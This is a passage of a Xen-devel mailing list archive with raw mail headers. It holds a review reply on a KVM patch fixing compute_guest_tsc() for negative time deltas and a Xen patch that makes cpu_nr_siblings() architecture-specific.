S64g6QR7Obkz3I1Lr3aWeSBmDDEyzue+NKtuWZ1Cxy3RdXo/w5HgRc3l2AercOM3Gt1XonTzEtTb
Z/Hwc0S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Uv3
gQnbQAaW2e9VfMguejeChZ9nPiFNCBYv+fJTTyn9942zcpCkri1EW10jPRpFNDaK4LW+Q//UVJn8
27G4Arak2lygH1mCJ8BZTTFr1QeHVRQowocBwl7jtNOD9h9oGXzT7zbRgSi0WPLLowSGJ87BUHJ/
btdgw38cu3x5LYEcNp9WZk8AAAAAAAA=


--=-9FZybFZZ3b5dnuxm+p2R--


From xen-devel-bounces@lists.xenproject.org Sat Jul 25 17:12:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 17:12:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370769.1618738 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnfuW-0004DQ-1t; Sat, 25 Jul 2026 17:11:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370769.1618738; Sat, 25 Jul 2026 17:11:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnfuV-0004DD-T6; Sat, 25 Jul 2026 17:11:39 +0000
Received: by outflank-mailman (input) for mailman id 1370769;
 Sat, 25 Jul 2026 17:11:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wnfuT-0004D7-2y
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 17:11:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnfuR-006mgu-Ni; Sat, 25 Jul 2026 19:11:35 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a64ee16-bab6-0a2a0a5309dd-0a2a45049e66-18
 for <multiple-recipients>; Sat, 25 Jul 2026 19:11:34 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a64ee46-b57f-0a2a45040019-5a9b32229ebe-3
 for <multiple-recipients>; Sat, 25 Jul 2026 19:11:34 +0200
Received: from [2001:8b0:10b:5:a27d:af29:92b0:e23b]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wnfuD-00000006cpa-0TNT; Sat, 25 Jul 2026 17:11:21 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=9HyxXMWgxxUa9wQMWRysgR4y9RCP8v3K6BSTtY9gX4E=; b=u7IePVLrtGQ3feCNnwOxX23N0N
	m2lAxNyV9j0gq2jjBdAIq5fBbxR7vihQP1Bi/vxpNjiPESnmGeoibSyo/TpKPjLg2i9ahbLhrlMQ1
	erEBmftK2q1TzOsam5tCSWADHHOe1rSzGLl9LoU/sk9IYBx+W4jHsbwrrB1HxiTBFGajj4HWhF5D8
	HnsWNfuHVDnbTTn+7rvScItf72OXDEDsIjjoHOwEIqH4UFkB5+x31tHoXxMhR97wK8gHMWJeOnc/R
	EcNY1QqSp9MPgNUGe/0Mb/JoLsVszv8rCLk2njJRYRsVzaGj/xp86wBI05PSb86SXyJqaV/oJ1BNX
	bqGnOX7Q==;
Message-ID: <016ebfbfca269245612f246337bb33247a95fdba.camel@infradead.org>
Subject: Re: [PATCH v6 15/36] KVM: x86: Fix compute_guest_tsc() to handle
 negative time deltas
From: David Woodhouse <dwmw2@infradead.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>,  Borislav Petkov	 <bp@alien8.de>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"	
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross	
 <jgross@suse.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul
 Durrant	 <paul@xen.org>, Jonathan Cameron <jic23@kernel.org>, Sascha
 Bischoff	 <Sascha.Bischoff@arm.com>, Marc Zyngier <maz@kernel.org>, Joey
 Gouly	 <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, Dongli
 Zhang	 <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Date: Sat, 25 Jul 2026 18:11:19 +0100
In-Reply-To: <amPYq48J9TPbmFNl@google.com>
References: <20260703212145.343527-1-dwmw2@infradead.org>
	 <20260703212145.343527-16-dwmw2@infradead.org>
	 <amPYq48J9TPbmFNl@google.com>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-JLIDTU2CCCUu1ZLZMEvJ"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ebf023/1784999494-522D4B50-949FD803/0/0
X-purgate-type: clean
X-purgate-size: 9488


--=-JLIDTU2CCCUu1ZLZMEvJ
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Fri, 2026-07-24 at 14:27 -0700, Sean Christopherson wrote:
>=20
> To cut down on the duplicate code, and IMO to make it easier to identify =
the
> differences, how about this?
>=20
> 	s64 delta_ns =3D kernel_ns - vcpu->arch.this_tsc_nsec;
> 	u64 tsc;
> =09
> 	/* Handle negative deltas gracefully (master clock ref may be earlier) *=
/
> 	tsc =3D pvclock_scale_delta(abs(-delta_ns),
> 				=C2=A0 vcpu->arch.virtual_tsc_mult,
> 				=C2=A0 vcpu->arch.virtual_tsc_shift);
>=20
> 	return vcpu->arch.this_tsc_write + (delta_ns >=3D 0 ? tsc : -tsc);

Oh, I missed that part. Done, rebased to kvm-x86/next and pushed to my
kvmclock7 branch while I test it and await further feedback.

--=-JLIDTU2CCCUu1ZLZMEvJ
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCE8Ew
ggWvMIIEl6ADAgECAhANkOK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2lDZXJ0IEFz
c3VyZWQgRzIgU01JTUUgUlNBNDA5NiBTSEEzODQgMjAyNCBDQTECEAM1KLa7MmyR8R04yjiFXSAw
DQYJKoZIhvcNAQEBBQAEggIAjZdMqtUSVEcP0nfxbHCr2G/UaNI8M3WlYyid2q0ZNdPkk7eWTXd5
PVI3jJmDY6MU7m18cD0lDGQLJdXxLiehEjETHtDmskU5tj4pdADOMI06dJKRZ4J0gzArsy1m8bDO
1ePd60F8pMMzKdsIjWyADpZWIzGIu3L0sTaLLd4oqFtgDTWI+AzpRbhDkxIQl8Jo4KEEAq62ZF8p
tqyMF4KIK0nhLqm+8EoosnhhOqG5FihHSaZxGkitZ/or3o6lq+MBIUdVJf/ymuLmkc/gnf+XHMaK
g8YVc1vwnw2oCMQ2M/YxCPfc38//FA8yTvE8T9UkTYblDzatHX5f0HyVkxo3+bnG79vRlt4lZsew
GqrX/9+2grNe/tIkNYbzfevzxzIj55RbxyGDdTbo43KTLQ+Mb5qet3XpGaVhAssAJrxg0YAxKVpZ
t8M9vSQGrWXOgQtC1OpaR/qjlfiU7gciTR1YpjMwj1hTpnNHU2kaZY2HhxR+f0SUxYKANvpVZonb
qRGn+U5MP12gUVQv0+/zrf+9JoeOaXSUcnNYwGBJU7LcZmZR49kGj6TIScEFk7wXsZCEePyrS8Eu
wX9FOd5qnlR1SFgwswe4MlxoDSpwNWyrEtmHw7BFjC9iND0uLsTuSAOt7zQRxCgF9Ram5gvpdf8P
0s/V3LIVRPPSIZ+PQwuZuU8AAAAAAAA=


--=-JLIDTU2CCCUu1ZLZMEvJ--


From xen-devel-bounces@lists.xenproject.org Sun Jul 26 00:55:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 00:55:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370882.1618774 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnn9b-0007MU-JC; Sun, 26 Jul 2026 00:55:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370882.1618774; Sun, 26 Jul 2026 00:55:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnn9b-0007MD-FM; Sun, 26 Jul 2026 00:55:43 +0000
Received: by outflank-mailman (input) for mailman id 1370882;
 Sun, 26 Jul 2026 00:55:42 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wnn9a-0007LC-8w
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 00:55:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnn9Z-0081V3-MD
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 02:55:41 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a655996-5cb7-0a2a0a5109dd-0a2a4508b87a-26
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:55:41 +0200
Received: from [40.107.74.120]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a655b0b-f659-0a2a45080019-286b4a78f062-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:55:41 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS7P286MB5490.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:397::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.12; Sun, 26 Jul
 2026 00:55:37 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Sun, 26 Jul 2026
 00:55:37 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=tSjRKyKqMDqgH0597bkduhO8Ch9CW0mDor3V9qcu2orsfftkt4Vqn1TaAx+dBR0FTumsCdfDaIoiLKTBIdxXYN2uD8+4Hn+SedI5HYL/1VfzfPIazmlAOh2rkaRtXvgx7uCtwWskZKUeOhljt8l5KKXiAwBVuVhZU0bK9aI6NPmktVpr8z2V/XgtCo3iwfz0sEXblRjV1Rs9E25QL2H4usJ41hCUsk/yhwV8Z9cOfBuweK4DUuKtjC2VD54FGDXMgx7pFWDn6obEm1HjxasnI5fUz9yM3ocBmkqiwTr3rmizObpcushzBJ44qsgoinP12hOhkzBmvsKAwvh5RGt+NA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=XK1cLDx6Xq4Pa7KAEXAzG6KDMbfPkr/rPHIGR/XkH3U=;
 b=EtQuP+GmAD6NR+1xMhSaxGjOdgLzJ3aC1VOoPd845KxuwnDtTFEG2uknTg4U9lXCAbFKeEPvNT+mG4Jo9JV9WKoi/vh4cZKza/lhiyFcTVWQMgpW3QHCpGXmcAztbiGhI9sEgJ4kxVTzh2Aia/yYBNPC7K8NGGC8z+0tXgTxZzee0hXSiB2mBVNpyj2zaW3MmEwmhkWAnzTttChygDdikgfchHbPWLtqDR6OPBT/lOAMS0/MbKEA0fclkQHJyNENIqnRNJjaqvV4HEo4XQalOwqurMR003i9UeZmcV759x2m6sVTK19naxkG2haF0qrTzDjVi59Ho657fPDDSs+CzQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=XK1cLDx6Xq4Pa7KAEXAzG6KDMbfPkr/rPHIGR/XkH3U=;
 b=uNhgWhGDgIiPfXFuVYb5+OMGm7w6FP/LNvCRW2YLH56YVppLEqCOOI5lt1QaiLHq8T77zgss3PXYCkpOJW2nOYTnrQ0x322p3UvKAL/Ya4tr8w2VeY1Xp2sMH1xcqnOwxYjrpxhPVYWdDu0oNLhdXZZe4p9HZ8K5vvfzrFvczRI=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Dario Faggioli <dfaggioli@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v8 3/4] xen/sched: Make cpu_nr_siblings() architecture-specific
Date: Sun, 26 Jul 2026 09:55:16 +0900
Message-ID: <20260726005517.379267-4-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260726005517.379267-1-taka@valinux.co.jp>
References: <20260726005517.379267-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCP286CA0094.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:2b4::8) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS7P286MB5490:EE_
X-MS-Office365-Filtering-Correlation-Id: 4e9984e9-eaad-4216-7747-08deeab09b13
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|366016|7416014|376014|10070799003|56012099006|10067099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	pG920k+kiZRMv9N9SXdahkt9c4g0ykzQJnbAOHNmRDDRNGFyJaedqOdWYOnHtBNz7i0Lj5T9JuP5KuZrwmxadmVu4HjKl2TUl862BWvpOKXgdjQGK4h8BNEFb4ww7bqj3eFu3ntZzvKE8QRNDeXM3/QSDjd7NiS/xHKc7OilwyEm2vk+P8p/3Mf0D/VH233zXSHFwSObs5GBe0N2Up35KJXhmpqn/33QfstVtd/Imx9wVNEtwmzVrfGqA2HIEokkpaaLln8cPWfEJIGn9XPFybSbnb4KfrXpQ333Mp6SYEEX8RbXqfn7Z4Iascji02MJcSDsiFZnt+bCPS9UE31kvj6NXMMIRO0vjJznu3fw9FknkPFeAspwuy2JtWYOpm70o9idf+V5H8eDkelT5Jn6eF4I57vNlAVzhGs2xg3rws79ADch0qCqQ0pbYxVq7mD6KyV7kzvEwv4Kr4qkBCrxxD0gUmy1uqziouvIhQh7LrZko/sl+93wNKUh50+OJqxGIn6bxEH12wNOmtPAFF4N7lTCpUge3J/KA5w+4bsZ3MkNiL5Od8rdQ1//v18k0PwZQTz6WOeCCxKOQVLlahwMGytvAATiFQecHkz72P7t8bdK/ZrD7uzs31tPVBckLxameV09GEh1DvjcqBw0jWtgwmpK85gQvZx29ioyBJWggcs=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(366016)(7416014)(376014)(10070799003)(56012099006)(10067099003)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?0Fo3gkpCQxCQu+dFya7UU7lt5de2nJMWpkoqI08578oDN4qVfqrMtqNQ0fqg?=
 =?us-ascii?Q?q6pJAR4Qcg1Fc6MiAyUJqQaCQYR3TW5edgRtjWV6aPLzFwHUb8FdoOjn9zlr?=
 =?us-ascii?Q?YOgzRYUIq4WmmVCdRjak85umrv2Yk+RgRzoBn5UD/1Yo0vxt9Z4rkCeGwk2g?=
 =?us-ascii?Q?si/UnOGiL0HhW2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An2QvVLzcVSeDpos2dSG/vS+eyF1Rg?=
 =?us-ascii?Q?lMy64BYgegrP7F3aMY4GIhXjEr1oGBSflWvp1Oqksy7bQIib/uzhkrliaKhl?=
 =?us-ascii?Q?xrdBmhGn9OcEO50ZqWYP+iPtC4CARzkKxbOZg0kUlGWF9/aDxCvzyZ6yXx1Y?=
 =?us-ascii?Q?+X8c7LntOuLKm7H0FwjJ3pVIPOOVA/0yrToQxgohwfm+I8hMEZ4pUp6a28NK?=
 =?us-ascii?Q?4Y1yMAWmwiY4BKbP0q9LfLPW2szoJq7EtjRhSowiQ+M0fBBoyGvAQEUJFV2k?=
 =?us-ascii?Q?nc8tCdZaeoOrwsaemtOaQcv1Lf35mZEkz/SbGy/+nKSY/O3qZlAvWJlbLLZD?=
 =?us-ascii?Q?FK9f4/8wQKQjIz/kWOzCXmTlhH0XKHNubKCS+xRsexMFvZ741l5qrocclysM?=
 =?us-ascii?Q?oifM/n8cOFhhg0qFc1CyXzqvAn9/EL14MVS7xxJcZmguXhQWnWB7EiDPPbam?=
 =?us-ascii?Q?KnY3QOfwyft5+1QZuGTvwext8fk1fgsDDwRfdNKjHjwbYl+ediC4pUgygxbB?=
 =?us-ascii?Q?TNJZBvaEMi170G43//UtykQe2RL85PrrwDXXI4FPyaDSG1z/bPUe9O0sgDoc?=
 =?us-ascii?Q?DYK/0vGX1kl9Gisf6lC8RxkjFsOBHiyt5CHdOeILekk11AqgO3FkpnGONtiw?=
 =?us-ascii?Q?AmD3pR3pN4t8Xoij3E/3IrU5gOVz5MPAbBdL7Yw0Fg19QRDYHiJsmcCGbJbd?=
 =?us-ascii?Q?A97wbYqv+PmxwymWUjSjHE9QbnBdEzswbCBjDsXQt/Uua65vdCT7GDPg+js2?=
X-MS-Exchange-AntiSpam-MessageData-1: 5ZOdnMH54+Bb1w==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 4e9984e9-eaad-4216-7747-08deeab09b13
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 26 Jul 2026 00:55:37.0558
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: jRs3ZLiHDgktbz/9nVfPPmcUclKnLf7Y9/ytILe7di5nE6a7aAX0r40QDrke7ZkxiLZT1EzHuO7ycMGsV54yhw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS7P286MB5490
X-purgate-ID: tlsNG-c1860d/1785027341-D6D4087B-B97BB96C/0/0
X-purgate-type: clean
X-purgate-size: 3435

Make cpu_nr_siblings() an architecture-specific function.
This patch provides the implementation for x86 and a common
version for Device Tree-based architectures.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Acked-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Juergen Gross <jgross@suse.com> # scheduler part
---
 xen/arch/x86/include/asm/processor.h |  1 +
 xen/common/sched/credit2.c           | 25 +++----------------------
 xen/include/xen/cpu-topology.h       |  5 +++++
 3 files changed, 9 insertions(+), 22 deletions(-)

diff --git a/xen/arch/x86/include/asm/processor.h b/xen/arch/x86/include/asm/processor.h
index 8ca6799a81..9758060129 100644
--- a/xen/arch/x86/include/asm/processor.h
+++ b/xen/arch/x86/include/asm/processor.h
@@ -106,6 +106,7 @@ extern void intel_init_arat(void);
 
 #define cpu_to_core(_cpu)   (cpu_data[_cpu].cpu_core_id)
 #define cpu_to_socket(_cpu) (cpu_data[_cpu].phys_proc_id)
+#define cpu_nr_siblings(_cpu) (cpu_data[_cpu].x86_num_siblings)
 
 unsigned int apicid_to_socket(unsigned int apicid);
 
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index b4a3b59601..6c645f0e21 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -29,25 +29,6 @@
 /* #define d2printk printk */
 #define d2printk(x...)
 
-/*
- * TODO: Abstract this properly, and figure out what Credit2 wants to do with
- *       the fact that x86_num_siblings doesn't even have the same meaning
- *       between x86 vendors.
- */
-static unsigned int cpu_nr_siblings(unsigned int cpu)
-{
-#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
-    if ( cpu_topology )
-        return cpu_topology[cpu].num_siblings;
-#endif
-
-#ifdef CONFIG_X86
-    return cpu_data[cpu].x86_num_siblings;
-#else
-    return 1;
-#endif
-}
-
 /*
  * Credit2 tracing events ("only" 512 available!). Check
  * include/public/trace.h for more details.
@@ -885,9 +866,9 @@ cpu_runqueue_match(const struct csched2_runqueue_data *rqd, unsigned int cpu)
 
 /*
  * Additional checks, to avoid separating siblings in different runqueues.
- * This deals with both Intel's HTs and AMD's CUs. An arch that does not have
- * any similar concept will just have cpu_nr_siblings() always return 1, and
- * setup the cpu_sibling_mask-s acordingly (as currently does ARM), and things
+ * This deals with Intel's HTs, AMD's CUs and ARM's SMT. An arch that
+ * does not have similar concept will just have cpu_nr_siblings() always
+ * return 1, and setup the cpu_sibling_mask-s accordingly, and things
  * will just work as well.
  */
 static bool
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index 52ee93d4d0..fccc9cd316 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -44,6 +44,7 @@ void init_cpu_topology(void);
 
 #define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
 #define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+#define cpu_nr_siblings(cpu) (cpu_topology ? cpu_topology[cpu].num_siblings : 1)
 
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
@@ -57,6 +58,10 @@ static inline void init_cpu_topology(void) {}
 #define cpu_to_socket(cpu) (0)
 #endif
 
+#ifndef cpu_nr_siblings
+#define cpu_nr_siblings(cpu) (1)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 00:55:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 00:55:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370880.1618749 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnn9T-0006hc-Q9; Sun, 26 Jul 2026 00:55:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370880.1618749; Sun, 26 Jul 2026 00:55:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnn9T-0006gi-Mv; Sun, 26 Jul 2026 00:55:35 +0000
Received: by outflank-mailman (input) for mailman id 1370880;
 Sun, 26 Jul 2026 00:55:33 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wnn9Q-0006ff-DS
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 00:55:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnn9P-007Oo9-11
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 02:55:31 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6559e3-e002-0a2a0a5209dd-0a2a4509e574-46
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:55:29 +0200
Received: from [52.101.228.97]
 (helo=OS0P286CU011.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a655aff-be1a-0a2a45090019-3465e461c552-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:55:29 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS7P286MB5490.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:397::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.12; Sun, 26 Jul
 2026 00:55:24 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Sun, 26 Jul 2026
 00:55:24 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
